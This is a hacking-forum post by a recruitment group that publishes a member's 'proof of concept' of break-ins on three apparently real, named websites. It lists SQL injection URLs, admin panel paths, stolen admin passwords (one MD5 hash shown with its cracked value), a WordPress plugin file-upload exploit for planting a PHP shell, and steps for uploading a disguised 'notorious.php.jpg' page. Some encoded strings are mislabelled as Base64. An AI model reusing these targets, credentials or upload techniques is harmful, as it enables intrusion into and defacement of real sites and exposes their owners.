The recruitment has ended. As requested by a few, the PoC has been posted below. Thanks to everyone that entered or tried. Selected members will be invited to the group upon further talk.
The PoC has been written by
ｍＯｂｉＩｅ
1st Target:
ravengroupbd.com
PoC:
Vulnerable to SQLi:
PHP Code
<?php
http://ravengroupbd.com/product_details.php?id_p=7'
Table: admin
adminuser: admin
adminpass: 6d94c8c2f8f00b7ec4434bcf8369e7fa MD5 : raven7
Path to admin panel:
PHP Code
<?php
http://ravengroupbd.com/admin_panel404/
PHP Code
<?php
/home/raven/public_html/admin_panel404/zxzczxNOTORIOUS/
Base64 decoded:
PHP Code
<?php
%68%74%74%70%3a%2f%2f%61%70%70%6c%69%65%64%70%72%65%73%73%75%72%65%2e%63%6f%6d
PHP Code
<?php
http://appliedpressure.com
Exploit: Arbitrary File Upload Vulnerability in WP Marketplace.
The following proof of concept will upload your php shell to the directory /wp-content/uploads/wpmp-previews/
PHP Code
<?php
http://appliedpressure.com/wp-admin/admin-post.php?task=wpmp_upload_previews
NOTORIOUS directory location:
PHP Code
<?php
/wp-content/themes/sdjfbksfNOTORIOUS/
Base64 decoded:
PHP Code
<?php
%68%74%74%70%3a%2f%2f%77%77%77%2e%64%75%62%75%69%74%66%61%72%65%61%73%74%2e%63%6f%6d%2f
PHP Code
<?php
http://www.dubuitfareast.com
Vulnerable to SQLi:
PHP Code
<?php
http://www.dubuitfareast.com/news_detail.php?news_id=9'
Table: admin
Path to admin panel:
PHP Code
<?php
http://www.dubuitfareast.com/admin/index.php
Password: 3xnUfNJFWcYxQ4Af
Location of Notorious page:
PHP Code
<?php
http://www.dubuitfareast.com/admin/edit_product.php?id=25
>Right-click, view and copy page source.
>Edit source, add name.
>Save as notorious.php.jpg
>Upload and replace current notorious.php.jpg
Challenge Completed:
![[Image: zZVSF56.jpg]](https://i.imgur.com/zZVSF56.jpg)
PHP Code
<?php
http://www.dubuitfareast.com/product_img/6199-31-05-2017-8860-28-05-2017-notorious.php.jpg
